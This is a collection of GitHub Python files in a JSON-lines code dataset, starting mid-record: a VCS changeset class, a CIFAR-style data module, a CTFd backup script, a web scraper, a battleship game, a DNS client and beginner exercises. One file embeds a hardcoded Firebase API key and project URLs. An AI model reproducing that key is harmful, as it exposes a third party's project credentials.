'modified': list(modified),\n 'deleted': list(deleted)}[status]\n )\n\n @LazyProperty\n def added(self):\n \"\"\"\n Returns list of added ``FileNode`` objects.\n \"\"\"\n if not self.parents:\n return list(self._get_file_nodes())\n return AddedFileNodesGenerator([n for n in\n self._get_paths_for_status('added')], self)\n\n @LazyProperty\n def changed(self):\n \"\"\"\n Returns list of modified ``FileNode`` objects.\n \"\"\"\n if not self.parents:\n return []\n return ChangedFileNodesGenerator([n for n in\n self._get_paths_for_status('modified')], self)\n\n @LazyProperty\n def removed(self):\n \"\"\"\n Returns list of removed ``FileNode`` objects.\n \"\"\"\n if not self.parents:\n return []\n return RemovedFileNodesGenerator([n for n in\n self._get_paths_for_status('deleted')], self)\n","repo_name":"codeinn/vcs","sub_path":"vcs/backends/git/changeset.py","file_name":"changeset.py","file_ext":"py","file_size_in_byte":19413,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"81"} +{"seq_id":"16545385097","text":"from firebase import Firebase\nimport geocoder\n\nfrom datetime import datetime\n\nnow = datetime.now()\n\nconfig = {\n \"apiKey\": \"AIzaSyD4EwJFr8MTh0lIQmlMMVn2H365WOV08es\",\n \"authDomain\": \"demo1-e68cf.firebaseapp.com\",\n \"databaseURL\": \"https://demo1-e68cf.firebaseio.com\",\n \"storageBucket\": \"demo1-e68cf.appspot.com\"\n}\n\ndef write_to_firebase(driver_name):\n location = geocoder.ip('me').city\n firebase = Firebase(config)\n db = firebase.database()\n current_time = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n data = {\"location\": location}\n res = db.child(\"sleep_list\").child(driver_name).child(current_time).set(data)\n print(res)\n","repo_name":"vignesh5698/accident-avoider","sub_path":"write_to_firebase.py","file_name":"write_to_firebase.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"24021616095","text":"from typing import List, Any, Tuple, Optional, Callable\n\n\nimport glob\nimport os.path as osp\n\nimport torch\nimport torchvision\nimport numpy as np\nfrom PIL import Image\nfrom torchvision import transforms\nfrom torch.utils.data import Dataset, DataLoader, ConcatDataset\nfrom torch.utils.data import DataLoader, random_split\nfrom torchvision.transforms.transforms import CenterCrop, Normalize, \\\n RandomErasing, RandomHorizontalFlip\nfrom torchvision.datasets import DatasetFolder\nimport os.path\n\nimport lightning as pl\nfrom utils import setup_logger\n\nlogger = setup_logger(__name__)\n\nIMG_EXTENSIONS = ('.jpg', '.jpeg', '.png', '.ppm', '.bmp',\n '.pgm', '.tif', '.tiff', '.webp')\n\nTRAIN_VAL_SPLIT = 0.0 # proportion of training set to use for train, the remainder for validation\n\ndef pil_loader(path: str) -> Image.Image:\n # open path as file to avoid ResourceWarning (https://github.com/python-pillow/Pillow/issues/835)\n with open(path, 'rb') as f:\n img = Image.open(f)\n return img.convert('RGB')\n\nclass SingleHeadDataset(DatasetFolder):\n def __init__(\n self,\n root: str,\n transform: Optional[Callable] = None,\n target_transform: Optional[Callable] = None,\n loader: Callable[[str], Any] = pil_loader,\n is_valid_file: Optional[Callable[[str], bool]] = None,\n ):\n super(SingleHeadDataset, self).__init__(root, loader, IMG_EXTENSIONS if is_valid_file is None else None,\n transform=transform,\n target_transform=target_transform,\n is_valid_file=is_valid_file)\n self.imgs = self.samples\n\n def __getitem__(self, index):\n path, target = self.samples[index]\n sample = self.loader(path)\n if self.transform is not None:\n sample_1 = self.transform(sample)\n\n return sample_1, target\n\n # def __len__(self):\n # return 100\n\n\nclass DualHeadsDataset(Dataset):\n def __init__(\n self,\n root: str,\n mode: str,\n raw_data_path: str,\n transform: Optional[Callable] = None,\n loader: Callable[[str], Any] = pil_loader,\n is_valid_file: Optional[Callable[[str], bool]] = None,\n ):\n super(DualHeadsDataset, self).__init__()\n self.mode = mode\n self.transform = transform\n self.loader = loader\n valid_ext = IMG_EXTENSIONS if is_valid_file is None else None\n \n self.samples = []\n for ext in valid_ext:\n self.samples.extend(glob.glob(osp.join(root, '*', f'*{ext}')))\n \n self._load_coarse_labels(raw_data_path)\n\n def _load_coarse_labels(self, raw_data_path):\n def unpickle(file):\n import pickle\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n data_path = raw_data_path + self.mode\n data_dict = unpickle(data_path)\n del data_dict[b'data']\n coarse_labels = np.array(data_dict[b'coarse_labels'])\n filenames = data_dict[b'filenames']\n filenames = [x.decode(\"utf-8\")for x in filenames]\n self.coarse_label_dict = dict(zip(filenames, coarse_labels))\n\n def __getitem__(self, index):\n path = self.samples[index]\n sample = self.loader(path)\n if self.transform is not None:\n sample = self.transform(sample)\n target = int(path.split('/')[-2])\n coarselabel = self.coarse_label_dict[path.split('/')[-1]]\n # logging.debug(\"labels --------- \" + str(target) + ', ' + str(coarselabel))\n data = {\"image\": sample, \"fine\": target, \"coarse\": coarselabel}\n return data\n \n def __len__(self):\n return len(self.samples)\n\nclass DataModule(pl.LightningDataModule):\n def __init__(self, \n mode_heads: str = 'both',\n train_dir: str = \"path/to/dir\", \n test_dir: str=\"path/to/dir\",\n raw_data_dir: str=\"path/to/dir\",\n batch_size: int = 32,\n num_workers:int = 4):\n super().__init__()\n self.train_dir = self.get_data_dir(mode_heads, train_dir)\n self.test_dir = self.get_data_dir(mode_heads, test_dir)\n self.raw_data_dir = raw_data_dir\n self.batch_size = batch_size\n self.num_workers = num_workers\n self.mode_heads = mode_heads\n\n def get_data_dir(self, mode_heads, base_folder):\n \"\"\"\n Returns the path to the data directory\n\n If there are two heads (fine and coarse), then get the 'fine' labels from the image file\n and get the coarse labelsl from the raw data file\n\n If there is only one head, then get the labels from the image file\n \"\"\"\n if mode_heads == 'fine' or mode_heads == 'both':\n suffix = 'fine'\n elif mode_heads == 'coarse':\n suffix = 'coarse'\n else:\n raise ValueError(f\"mode_out {mode_heads} not recognized\")\n\n folder_name = os.path.join(base_folder, suffix)\n\n return folder_name\n\n def setup_data_dual_heads(self, train_transforms, base_transforms):\n logger.debug(\"DataModule - setup double heads\")\n\n train_set = DualHeadsDataset(\n mode='train',\n root=self.train_dir,\n raw_data_path=self.raw_data_dir,\n transform=train_transforms)\n \n # special case of no split, then use test set for validation\n if TRAIN_VAL_SPLIT == 0.0 or TRAIN_VAL_SPLIT == None:\n logger.debug(\"Using test set for validation\")\n\n val_set = DualHeadsDataset(\n mode='test',\n root=self.test_dir,\n raw_data_path=self.raw_data_dir,\n transform=base_transforms)\n \n self.val_set = val_set\n self.train_set = train_set\n else:\n logger.debug(f\"Using {TRAIN_VAL_SPLIT} proportion of train set for train, remainder for validation\")\n self.train_set, self.val_set = self.get_train_val_splits(train_set) \n\n self.test_set = DualHeadsDataset(\n mode='test',\n root=self.test_dir,\n raw_data_path=self.raw_data_dir,\n transform=base_transforms)\n \n def setup_data_single_head(self, train_transforms, base_transforms):\n logger.debug(\"DataModule - setup single head\")\n\n train_set = SingleHeadDataset(\n root=self.train_dir,\n transform=train_transforms)\n\n # special case of no split, then use test set for validation\n if TRAIN_VAL_SPLIT == 0.0 or TRAIN_VAL_SPLIT == None:\n logger.debug(\"Using test set for validation\")\n\n val_set = SingleHeadDataset(\n root=self.test_dir,\n transform=base_transforms)\n \n self.val_set = val_set\n self.train_set = train_set\n else:\n logger.debug(f\"Using {TRAIN_VAL_SPLIT} proportion of train set for train, remainder for validation\")\n self.train_set, self.val_set = self.get_train_val_splits(train_set) \n\n self.test_set = SingleHeadDataset(\n root=self.test_dir,\n transform=base_transforms)\n \n def get_train_val_splits(self, train_set):\n train_set_size = int(len(train_set) * TRAIN_VAL_SPLIT)\n valid_set_size = len(train_set) - train_set_size\n train_set, val_set = random_split(train_set, [train_set_size, valid_set_size])\n return train_set, val_set\n\n def setup(self, stage: Optional[str] = None):\n logger.debug(\"*********** DataModule - setup ***********\")\n train_transform = transforms.Compose([\n transforms.RandomCrop(32, padding=4, padding_mode='reflect'), \n transforms.RandomHorizontalFlip(),\n transforms.Resize(32),\n transforms.ToTensor(),\n transforms.Normalize((0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761))\n ])\n base_transforms = transforms.Compose([\n transforms.Resize(32),\n transforms.ToTensor(),\n transforms.Normalize((0.5071, 0.4867, 0.4408), (0.2675, 0.2565, 0.2761))\n ])\n \n if self.mode_heads == 'both':\n self.setup_data_dual_heads(train_transform, base_transforms)\n else:\n self.setup_data_single_head(train_transform, base_transforms)\n\n logger.debug(f\"Train set size: {len(self.train_set)}\")\n # logger.debug(f\"Train set transformation: {self.train_set.transform}\")\n\n logger.debug(f\"Validation set size: {len(self.val_set)}\")\n # logger.debug(f\"Validation set transformation: {self.val_set.transform}\")\n\n logger.debug(f\"Test set size: {len(self.test_set)}\")\n # logger.debug(f\"Test set transformation: {self.test_set.transform}\")\n\n def train_dataloader(self):\n return DataLoader(self.train_set,\n shuffle=True,\n batch_size=self.batch_size, \n num_workers=self.num_workers)\n\n def val_dataloader(self):\n return DataLoader(self.val_set,\n shuffle=False, \n batch_size=self.batch_size,\n num_workers=self.num_workers)\n\n def test_dataloader(self):\n return DataLoader(self.test_set,\n shuffle=False,\n batch_size=self.batch_size,\n num_workers=self.num_workers)\n ","repo_name":"Cerenaut/bilateral-brain","sub_path":"datamodule.py","file_name":"datamodule.py","file_ext":"py","file_size_in_byte":9671,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"40308944627","text":"\nfrom __future__ import absolute_import, print_function\nfrom .common import nil, PY2, breakpoint, throw, Exc, error\n\nif PY2:\n from funcsigs import signature\nelse:\n from inspect import signature\nfrom .casting import cast, is_cls\n\nimport time\n\n\ndef flatten_dotted_arg_from_dict(d, pth=None):\n while isinstance(d, dict):\n if not len(d) == 1:\n return\n k = list(d.keys())[0]\n pth = (k,) if not pth else pth + (k,)\n d = d.get(k)\n if d == 'is_set':\n return '.'.join(pth)\n\n\ndef fix_dotted_cli_vals(cli):\n \"\"\"arguments can be given positionally, i.e. without keyname\n e.g. just appname foo.bar.baz. The CLI pre_parser puts this into\n {foo:{bar:{baz: is_set}}}\n We recreate into foo.bar.baz=is_set like other position vals here:\n \"\"\"\n r = ()\n for K, d in cli:\n kv = flatten_dotted_arg_from_dict(d)\n if kv:\n K, d = '%s.%s' % (K, kv), 'is_set'\n r += ((K, d),)\n return r\n\n\ndef map_args_to_func_sig(\n f, cli, ctx, map_from=-1, prefer_positional=True, deep=True, cast=cast\n):\n \"\"\"\n inspect.signature based version.\n\n Py2: This WOULD work using the signature simulation for py2 (funcsigs)\n from https://funcsigs.readthedocs.io/en/0.4/\n but perf is lousy. See below, for 2 we do it in getargspec\n\n Maybe it can be done more effective, not sure yet:\n\n # update: We use funcsigs now for py2... maybe later add the argspec\n # version back again.\n\n \"\"\"\n cli = fix_dotted_cli_vals(cli)\n if map_from == -1:\n # signature does not deliver cls or self, so no effort here:\n map_from = 0\n sig_dict = signature(f).parameters\n va_pos, have_va, pos_params = 0, False, []\n i = 0\n for n, p in sig_dict.items():\n i += 1\n if i <= map_from:\n continue\n if p.kind == p.VAR_POSITIONAL:\n have_va = True\n break\n va_pos += 1\n pos_params.append(n)\n\n args = [nil for i in pos_params]\n kw = {}\n\n def default(n):\n d = sig_dict.get(n)\n if not d:\n return nil\n return d.default if d.default != d.empty else nil\n\n idx, leng = -1, len(cli) - 1\n while idx < leng:\n idx += 1\n n, v = cli[idx]\n if v != 'is_set':\n d = default(n)\n if d != nil:\n v = cast(v, d, {'for_param': n})\n if have_va and n in pos_params:\n args[pos_params.index(n)] = v\n pos_params.remove(n)\n else:\n kw[n] = v\n pos_params.remove(n) if n in pos_params else None\n else:\n # v = is_set when no key is given, just value:\n if pos_params:\n vv = n # the value\n n = pos_params.pop(0) # the key\n d = default(n)\n v = cast(vv, d, {'for_param': n}) if d != nil else vv\n if have_va:\n app = True\n for i in range(0, len(args)):\n if args[i] == nil:\n args[i] = v\n app = False\n break\n if app:\n args.append(n)\n else:\n kw[n] = v\n offset = args.index(nil) if nil in args else 0\n for n in list(pos_params):\n p = sig_dict[n]\n if p.default != p.empty and not is_cls(p):\n if have_va:\n args[pos_params.index(n) + offset] = p.default\n pos_params.remove(n)\n else:\n kw[n] = p.default\n pos_params.remove(n)\n\n argt = ()\n for a in args:\n if a != nil:\n argt += (a,)\n\n allow_types = ctx.get('allow_type_args', False)\n if ctx.get('req_args_complete'):\n\n ps, err = [], Exc.require_value\n for p in pos_params:\n d = default(p)\n if default(p) == nil:\n ps.append({'param': p})\n if not allow_types and type(d) == type:\n ps.append({'param': p, 'type': d.__name__})\n if not allow_types:\n for k, v in kw.items():\n if type(v) == type:\n ps.append({'param': k, 'type': v.__name__})\n if ps:\n [error(err, **p) for p in ps[:-1]]\n throw(err, **ps[-1])\n\n if prefer_positional:\n for p in list(sig_dict.keys())[map_from:]:\n v = sig_dict[p]\n if v.kind != v.POSITIONAL_OR_KEYWORD:\n break\n vm = kw.pop(p, nil)\n if vm != nil:\n argt += (vm,)\n\n return argt, kw\n\n\ndef pretty_type(sigstr):\n s = str(sigstr)\n for f, t in (('=0:\n #get the position of the middle item in the list (should be 3) as floor division gives the lowest whole number\n middle = first + ((last - first)//2)\n #check if this is the value\n if listIn[middle] == key:\n return middle\n #if the key is less than middle value set the last value to 1 position below middle\n elif key < listIn[middle]:\n last = middle - 1\n #if the key is more than middle value set the last value to 1 position more than middle\n else:\n first = middle +1\n return -1\n\nprint(binarySearch(myList,31))\n\n#Binary Search 2\ndef binary_search(v, L):\n#set the lowest index\n low = 0\n#set the highest index -1\n high = len(L)-1\n\n while (low <= high):\n#floor divide to get a int\n mid = (low+high)//2\n#check if the value (14) at position mid (7) is equal to v\n if L[mid] == v:\n return mid\n elif L[mid] < v:\n low = mid + 1\n else:\n high = mid - 1\n\n return len(L)\n# Driver code ...\nkeys = [2, 4, 5, 7, 8, 9, 12, 14, 17, 19, 22, 25, 27, 28, 33, 37]\nargument = int(input(\"Enter a target value: \"))\n\nresult = binary_search(argument, keys)\n#check if result is not equal to 15 then the key has been found\nif (result != len(keys)):\n print(\"%d found at position %d\" %(argument, result))\nelse:\n print(\"%d not found. Return value is %d\" %(argument, result))\n","repo_name":"mrroberts-mslt/Computer-Science-for-Leaving-Certificate-Solutions","sub_path":"Chapter 9/pg211_Search.py","file_name":"pg211_Search.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"81"} +{"seq_id":"20731923728","text":"import requests, wget, os, time\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\n\ntimestmp = str(datetime.now().replace(microsecond=0))\n\nheaders = {\n 'Connection': 'keep-alive',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'Referer': 'http://urctfd.domain/admin/config',\n 'Accept-Language': 'en-US,en;q=0.9,id;q=0.8',\n}\n\ns = requests.Session()\nurl = \"http://urctfd.domain/login\"\n\nr = s.get(url)\nsoup = BeautifulSoup(r.content, \"html.parser\")\n\nnonce = soup.find(\"input\",{\"name\":\"nonce\"})['value']\n\ndata = {\n 'name': 'yourCTFdAdmin',\n 'password': '*****',\n '_submit': 'Submit',\n 'nonce': nonce\n}\n\nprint('Logging in to '+url+' . .')\n\ns.post(url, data=data, allow_redirects=True)\ncookies = s.cookies.get_dict()\n\nprint('Downloading the file . .')\nbackup = requests.get('http://urctfd.domain/admin/export', headers=headers, cookies=cookies, allow_redirects=True, stream=True)\npath = 'backup_dir/'\n\nfile_name = os.path.join(path, 'ctfd_backup'+timestmp+'.zip')\n\nif not os.path.exists(path):\n\tos.makedirs(path)\n\nopen(file_name, 'wb').write(backup.content) \n\nprint('Successfully Exported ['+file_name+']')\n","repo_name":"rexyfahrezi/ctfd-auto-backup","sub_path":"ctfd-auto-backup.py","file_name":"ctfd-auto-backup.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"30892225797","text":"import json\nimport pickle\n\nimport pandas as pd\nimport numpy as np\n\nimport datetime\nclass User:\n def __init__(self, path: str):\n with open(path, 'r') as fp:\n self._user_log = json.load(fp)\n \n self._session_id = self._user_log['session']['session_id']\n self._learner_id = float(self._user_log['session']['learner_id'].replace('NaN', ''))\n self._event_df = pd.DataFrame()\n \n def createEventDataFrame(self):\n event_df = []\n for event in self._user_log['events']:\n timestamp = event['timestamp']\n timestamp = datetime.datetime.fromtimestamp(timestamp / 1e3)\n year = timestamp.year\n month = timestamp.month\n day = timestamp.day\n hour = timestamp.hour\n minute = timestamp.minute\n second = timestamp.second\n \n event_name = event['event'].replace('capacitorLabBasics.', '')\n event_name = event_name.replace('capacitanceScreen.', '')\n \n event_type = event['data']['eventType']\n if 'parameters' in event['data']:\n if 'method' in event['data']['parameters']:\n method_name = event['data']['parameters']['method']\n else:\n method_name = 'null'\n # parameters_event = event['data']['eventType']\n if 'phetioID' in event['data']:\n phetio_id = event['data']['phetioID']\n else:\n phetio_id = 'null'\n \n\n data = event['data']\n \n event_df.append([event_name, event_type, method_name, phetio_id, timestamp, year, month, day, hour, minute, second, data])\n \n event_df = pd.DataFrame(event_df)\n event_df.columns = ['event_name', 'event_type', 'method', 'phetio_id', 'timestamp', 'year', 'month', 'day', 'hour', 'minute', 'second', 'data']\n\n event_df = event_df.sort_values(['year', 'month', 'day', 'hour', 'minute', 'second'])\n \n self._event_df = event_df\n\n def save(self, version=''):\n name = str(self._session_id) + '_' + str(self._learner_id) + version + '_UserObject.pkl'\n name = '../Objects/users/' + name\n with open(name, 'wb') as fp:\n pickle.dump(self, fp)\n \n \n ","repo_name":"epfl-ml4ed/beerslaw-lab","sub_path":"src/extractors/parser/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"35283500160","text":"from caster_dashboard_2.version import get_current_version\r\nfrom dashboard.models.models import LeagueGroup\r\n\r\n\r\ndef version_context(request):\r\n return {\r\n \"version\": get_current_version(),\r\n \"theme\": \"dark\",\r\n }\r\n\r\n\r\ndef profile_context(request):\r\n is_league_admin = False\r\n user = request.user\r\n league_groups = LeagueGroup.objects.all()\r\n for lg in league_groups:\r\n if lg.user == user and lg.rank == 'admin':\r\n is_league_admin = True\r\n\r\n return {\r\n \"is_league_admin\": is_league_admin\r\n }\r\n","repo_name":"sthorsten/CasterDashboard2","sub_path":"backend/src/caster_dashboard_2/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"81"} +{"seq_id":"4435833791","text":"n = int(input())\r\n\r\nx = list(map(int, input().split()))\r\n\r\nnum = [x[0]]\r\n\r\nfor i in range(1, n):\r\n num.append(num[i-1] + x[i])\r\n \r\nanswer = 0 \r\n\r\nfor i in range(n):\r\n answer += x[i] * (num[n - 1] - num[i])\r\n \r\nprint(answer)","repo_name":"MarkSon-42/BackjoonHub","sub_path":"백준/Silver/14929. 귀찮아 （SIB）/귀찮아 （SIB）.py","file_name":"귀찮아 （SIB）.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"10549660232","text":"from bs4 import BeautifulSoup\nimport requests\n\ndef subcategoryCheki():\n site = 'https://www.cheki.com.ng'\n subUrl = []\n\n page_response = requests.get(site, headers={'User-Agent': 'Mozilla/5.0'})\n page_content = BeautifulSoup(page_response.content, \"html.parser\")\n\n subcategory = page_content.find('ul',{\"class\":\"vehicleIcons\"}).findAll('li')\n\n for item in subcategory:\n subCategoryUrl = item.find('a').get('href')\n\n subUrl.append(\n subCategoryUrl\n )\n\n return subUrl\n\n#print(subcategoryCheki())\n\n\ndef getAllPage():\n subUrl = subcategoryCheki()\n page = []\n maxPage = 16\n id = list(range(maxPage))\n del id[0]\n for url in subUrl:\n for item in id:\n link = url + \"?page=\" + str(item)\n page.append({\n 'url': link\n })\n return page\n\n#print(getAllPage())\n\ndef scrapCheki(origin):\n\n site = 'https://www.cheki.com.ng'\n page = getAllPage()\n produits = []\n\n for link in page:\n page_response = requests.get(link[\"url\"], headers={'User-Agent': 'Mozilla/5.0'})\n page_content = BeautifulSoup(page_response.content, \"html.parser\")\n\n logo = 'http://137.74.199.121/img/logo/ng/cheki.jpg'\n logoS='http://137.74.199.121/img/logo/ng/logoS/cheki.jpg'\n\n annonce = page_content.find_all(\"li\", {\"class\": \"listing-unit\"})\n\n for item in annonce:\n try:\n url = item.get(\"data-url\").replace('\\n','').replace(' ','')\n lib = item.find('div', {\"class\": \"listing-unit__title\"}).find(\"a\").text.replace('\\n','')\n img = item.find('div', {\"class\": \"listing-unit__image-container\"}).findAll(\"img\")[0].get(\"data-lazy\")\n desc = item.find('div', {\"class\": \"listing-unit__detail-container\"}).text.replace('\\n','')\n try:\n prix = int(item.find(\"div\", {\"class\": \"listing-unit__price\"}).text.replace(u',', '').replace(u'₦', ''))\n except:\n prix=0\n\n produits.append(\n {\n 'libProduct': lib,\n 'slug': '',\n 'descProduct': desc,\n 'priceProduct': prix,\n 'imgProduct': img,\n 'numSeller': '',\n 'src': site,\n 'urlProduct': site + url,\n 'logo': logo,\n 'logoS':logoS,\n 'origin': origin,\n 'country':'ng'\n }\n )\n\n except:\n continue\n\n return produits\n\nproduits = scrapCheki(origin=1)\nurl = 'http://api.comparez.co/ads/insert-product/'\nfor item in produits:\n response = requests.post(url, data=item)\n # api response\n print(response.json())\n","repo_name":"sysall/WebScrapping","sub_path":"Sites/Nigeria/Cheki.py","file_name":"Cheki.py","file_ext":"py","file_size_in_byte":2776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41401450468","text":"class HeapSort:\n \"\"\"\n HeapSort\n Responsible for heapsort sorting\n \"\"\"\n\n def max_heapify(self, array, heap_size, position):\n left_element_position = 2 * position + 1\n right_element_position = 2 * position + 2\n\n if (left_element_position <= heap_size - 1 and array[left_element_position] > array[position]):\n largest = left_element_position\n else:\n largest = position\n\n if (right_element_position <= heap_size - 1 and array[right_element_position] > array[largest]):\n largest = right_element_position\n\n if (largest != position):\n array[position], array[largest] = array[largest], array[position]\n self.max_heapify(array, heap_size, largest)\n\n def heap_sort(self, array):\n heap_size = len(array)\n for i in range((heap_size - 1) // 2, -1, -1):\n self.max_heapify(array, heap_size, i)\n\n for i in range(heap_size - 1, 0, -1):\n array[i], array[0] = array[0], array[i]\n self.max_heapify(array, i, 0)\n","repo_name":"s22446/ASD-project1","sub_path":"heap_sort/heap_sort.py","file_name":"heap_sort.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28425393585","text":"class Solution:\n def minimumPossibleSum(self, n: int, target: int) -> int:\n seen=set()\n num=1\n while len(seen) List[str]:\n return [ship.kind for ship in self.board.ships if not is_ship_destroyed(ship)]\n\n\n@dataclass\nclass Game:\n player_1: Player\n player_2: Player\n\n @property\n def has_ended(self) -> bool:\n return any(has_all_ships_destroyed(player.board) for player in self.players)\n\n @property\n def players(self) -> List[Player]:\n return [self.player_1, self.player_2]\n\n\nDEFAULT_GAME_OPTION: GameOption = {\n \"AIR\": AvailableShip(kind=\"aircraft-carrier\", length=5, quantity=1),\n \"BTL\": AvailableShip(kind=\"battleship\", length=4, quantity=1),\n \"SUB\": AvailableShip(kind=\"submarine\", length=3, quantity=1),\n \"DES\": AvailableShip(kind=\"destroyer\", length=3, quantity=1),\n \"PTL\": AvailableShip(kind=\"patrol-ship\", length=2, quantity=1),\n}\n\n\ndef retrieve_available_ships(game_option: GameOption) -> List[str]:\n return [ship_slug for ship_slug, ship_option in game_option.items() if ship_option[\"quantity\"] > 0]\n\n\ndef parse_line_input(line: str, game_option: GameOption) -> Tuple[AvailableShip, Position, ShipDirection]:\n try:\n ship_slug, x, y, direction_slug = line.split(maxsplit=3)\n return (\n game_option[ship_slug],\n Position(int(x), int(y)),\n ShipDirection[direction_slug],\n )\n except (ValueError, KeyError):\n print(\n \"\"\"\n Couldn't understand the given input, please input in the following format:\n - if horizontally: SLG X Y H\n - if vertically: SLG X Y V \n \n For example, if you have a destroyer (DES) and you want to put at position (0, 0) horizontally, write:\n DES 0 0 H \n \"\"\"\n )\n raise InputWithError\n\n\ndef place_ship(player: Player, chosen_ship: AvailableShip, position: Position, direction: ShipDirection):\n if chosen_ship[\"quantity\"] < 1:\n print(\"Ship is unavailable!\")\n raise UnavailableShip\n\n try:\n place_ship_on_board(Ship(chosen_ship[\"kind\"], chosen_ship[\"length\"]), player.board, position, direction)\n chosen_ship[\"quantity\"] -= 1\n except CannotOccupyPositions:\n print(\"Couldn't place ship on given position!\")\n raise\n\n\ndef prepare_player_game(player: Player):\n print(\n \"\"\"\n To place a ship, input in the following format:\n - if horizontally: SLG X Y H\n - if vertically: SLG X Y V\n\n For example, if you have a destroyer (DES) and you want to put at position (0, 0) horizontally, write:\n DES 0 0 H\n\n Input them until there's no available ships!\n \"\"\"\n )\n available_ships = retrieve_available_ships(player.game_option)\n\n while available_ships:\n print(f\"Available ships: {available_ships}\")\n\n with suppress(InputWithError, CannotOccupyPositions, UnavailableShip):\n line = input()\n chosen_ship, position, direction = parse_line_input(line, player.game_option)\n place_ship(player, chosen_ship, position, direction)\n logger.debug(\n \"\"\"Updated %s board:\n %s\n \"\"\",\n player.name,\n player.board,\n )\n available_ships = retrieve_available_ships(player.game_option)\n\n\ndef prepare_game(game_option: Optional[GameOption] = None) -> Game:\n player_1, player_2 = Player(\"Player 1\", game_option=game_option or DEFAULT_GAME_OPTION), Player(\n \"Player 2\", game_option=game_option or DEFAULT_GAME_OPTION\n )\n\n print(\"Player 1, please place your Ships on the board!\")\n prepare_player_game(player_1)\n\n print(\"Player 2, please place your Ships on the board!\")\n prepare_player_game(player_2)\n\n return Game(player_1, player_2)\n\n\ndef get_random_position(length: int, width: int) -> Position:\n return Position(randint(0, length), randint(0, width))\n\n\ndef print_outcome(player: Player, outcome: BombOutcome, position: Position):\n hit_something, destroyed_ship = (\n convert_boolean_to_yes_no(outcome.has_hit_something),\n convert_boolean_to_yes_no(outcome.has_destroyed_a_ship),\n )\n print(\n f\"\"\"\n {player.name} attacked position ({position.x}, {position.y})...\n Outcome:\n - hit something: {hit_something}\n - destroyed ship: {destroyed_ship}\n \"\"\"\n )\n\n\ndef start(game: Game):\n print(\"Time to battle!\")\n attacking_player, attacked_player = game.player_1, game.player_2\n\n while not game.has_ended:\n with suppress(CannotBombPosition):\n position = get_random_position(attacked_player.board.length, attacked_player.board.width)\n bomb_outcome = bomb_position(attacked_player.board, position)\n print_outcome(attacking_player, bomb_outcome, position)\n attacking_player, attacked_player = attacked_player, attacking_player\n\n print(f\"Battle result: {attacked_player.name} won!\")\n print(f\"Remaining ships: {attacked_player.remaining_ships}\", end=\"\\n\\n\")\n\n\ndef show_final_boards(game: Game):\n for player in game.players:\n print(f\"Final board from {player.name}\")\n print(str(player.board), end=\"\\n\\n\")\n","repo_name":"fabiohk/naval-warfare","sub_path":"naval_warfare/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":6597,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"20691509178","text":"import socket\nfrom parser.constants import RecordTypes\nfrom parser.parsers import parse_answers\nfrom parser.common_parsers import str_to_hex, domain_to_bytes_str\nimport argparse\n\n\ndef insert_info_into_request(domain, q_type):\n return \"4a 4a 01 00 00 01 00 00 00 00 00 00 {} 00 {} 00 01\".format(domain_to_bytes_str(domain),\n RecordTypes.get_hex_str_form_str(q_type))\n\n\nclass Client:\n def __init__(self, q_name, q_type):\n if q_type not in RecordTypes.ValidRequestType:\n raise ValueError(\"Invalid type value\")\n self.data = str_to_hex(insert_info_into_request(q_name, q_type))\n self.address = \"127.0.0.1\"\n self.port = 53\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:\n s.sendto(self.data, (self.address, self.port))\n data, sender = s.recvfrom(256)\n answer = parse_answers(data)\n print(answer)\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Client for cash dns')\n parser.add_argument(\"domain\", help=\"domain that you search\")\n parser.add_argument(\"type\", default=\"A\", help=\"Type of record that you search (A, AAAA, NS, TXT, MX)\")\n args = parser.parse_args()\n Client(args.domain, args.type)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"YosaRem/CacheDNS","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10361669679","text":"city = input()\ntype_pack = input()\nvip_discount = input()\nnumber_days = int(input())\ntotal_sum = 0\n\nif city == 'Bansko' or city == 'Borovets':\n if type_pack == 'withEquipment':\n total_sum = 100\n if vip_discount == 'yes':\n total_sum *= 0.8\n elif type_pack == 'noEquipment':\n total_sum = 80\n if vip_discount == 'yes':\n total_sum *= 0.95\nelif city == 'Varna' or city == 'Burgas':\n if type_pack == 'withBreakfast':\n total_sum = 130\n if vip_discount == 'yes':\n total_sum *= 0.88\n elif type_pack == 'noBreakfast':\n total_sum = 100\n if vip_discount 